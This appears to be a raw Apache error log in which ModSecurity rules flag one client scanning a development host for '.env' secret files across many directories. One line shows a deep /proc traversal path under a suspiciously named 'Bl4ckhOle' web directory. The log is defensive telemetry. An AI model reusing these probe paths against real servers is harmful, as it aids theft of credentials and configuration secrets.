[Fri Jul 17 09:14:49.155517 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /resources/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/resources/.env"] [unique_id "almlMa14q1EBnanVMYGnJQAAAAk"]
[Fri Jul 17 09:14:49.156802 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/resources/.env"] [unique_id "almlMa14q1EBnanVMYGnJQAAAAk"]
[Fri Jul 17 09:14:49.333619 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:49.386630 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMa14q1EBnanVMYGnJQAAAAk"]
[Fri Jul 17 09:14:49.393074 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:49.394270 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:49.554721 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/assets/.env"] [unique_id "almlMYl9vhFBGA6D8l99SQAAAAw"]
[Fri Jul 17 09:14:49.555952 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/assets/.env"] [unique_id "almlMYl9vhFBGA6D8l99SQAAAAw"]
[Fri Jul 17 09:14:49.748338 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMYl9vhFBGA6D8l99SQAAAAw"]
[Fri Jul 17 09:14:49.916085 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/uploads/.env"] [unique_id "almlMfwooI4qY7Jg93pYvgAAABM"]
[Fri Jul 17 09:14:49.917260 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/uploads/.env"] [unique_id "almlMfwooI4qY7Jg93pYvgAAABM"]
[Fri Jul 17 09:14:50.162740 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMfwooI4qY7Jg93pYvgAAABM"]
[Fri Jul 17 09:14:50.330393 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/internal/.env"] [unique_id "almlMjsMb3am0TgkjETeCAAAAAo"]
[Fri Jul 17 09:14:50.331588 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/internal/.env"] [unique_id "almlMjsMb3am0TgkjETeCAAAAAo"]
[Fri Jul 17 09:14:50.554148 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMjsMb3am0TgkjETeCAAAAAo"]
[Fri Jul 17 09:14:50.723439 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tools/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/tools/.env"] [unique_id "almlMkgVnBK6wAv37w6vzAAAABQ"]
[Fri Jul 17 09:14:50.724720 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/tools/.env"] [unique_id "almlMkgVnBK6wAv37w6vzAAAABQ"]
[Fri Jul 17 09:14:50.807425 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:50.884652 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:50.958023 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMkgVnBK6wAv37w6vzAAAABQ"]
[Fri Jul 17 09:14:51.130373 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/scripts/.env"] [unique_id "almlM41dLClkUfK_dfHn-QAAAAI"]
[Fri Jul 17 09:14:51.131558 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/scripts/.env"] [unique_id "almlM41dLClkUfK_dfHn-QAAAAI"]
[Fri Jul 17 09:14:51.154718 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.217263 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.313185 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.343623 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlM41dLClkUfK_dfHn-QAAAAI"]
[Fri Jul 17 09:14:51.391868 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.512329 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/bin/.env"] [unique_id "almlM-jME1mgqYZ5O94pfwAAAAE"]
[Fri Jul 17 09:14:51.513520 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/bin/.env"] [unique_id "almlM-jME1mgqYZ5O94pfwAAAAE"]
[Fri Jul 17 09:14:51.579205 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.629707 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.635239 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.740379 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.754881 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlM-jME1mgqYZ5O94pfwAAAAE"]
[Fri Jul 17 09:14:51.862107 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.890695 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.904179 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.88:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory81/node0/memory1/node0/memory4/node0/cpu0/crash_notes
[Fri Jul 17 09:14:51.924836 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sbin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sbin/.env"] [unique_id "almlM1CBpfuYyhJ140vV7wAAAB4"]
[Fri Jul 17 09:14:51.926142 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sbin/.env"] [unique_id "almlM1CBpfuYyhJ140vV7wAAAB4"]
[Fri Jul 17 09:14:51.938076 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:51.940187 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:52.080843 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlM1CBpfuYyhJ140vV7wAAAB4"]
[Fri Jul 17 09:14:52.167740 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:52.176992 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:52.227495 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:52.249037 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/local/.env"] [unique_id "almlNFh1WDijTxd1xw5PlwAAAAc"]
[Fri Jul 17 09:14:52.250397 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/local/.env"] [unique_id "almlNFh1WDijTxd1xw5PlwAAAAc"]
[Fri Jul 17 09:14:52.499667 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNFh1WDijTxd1xw5PlwAAAAc"]
[Fri Jul 17 09:14:52.670705 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/portal/.env"] [unique_id "almlNPwooI4qY7Jg93pYxAAAABM"]
[Fri Jul 17 09:14:52.671927 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/portal/.env"] [unique_id "almlNPwooI4qY7Jg93pYxAAAABM"]
[Fri Jul 17 09:14:52.846660 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:52.852464 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNPwooI4qY7Jg93pYxAAAABM"]
[Fri Jul 17 09:14:52.926721 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:53.022723 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dashboard/.env"] [unique_id "almlNVh1WDijTxd1xw5PmAAAAAc"]
[Fri Jul 17 09:14:53.024003 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dashboard/.env"] [unique_id "almlNVh1WDijTxd1xw5PmAAAAAc"]
[Fri Jul 17 09:14:53.113272 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:60966] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:53.197214 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:60974] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:53.254768 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlNVh1WDijTxd1xw5PmAAAAAc"]
[Fri Jul 17 09:14:53.425473 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/panel/.env"] [unique_id "almlNVCBpfuYyhJ140vV8gAAAB4"]
[Fri Jul 17 09:14:53.426751 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/panel/.env"] [unique_id "almlNVCBpfuYyhJ140vV8gAAAB4"]
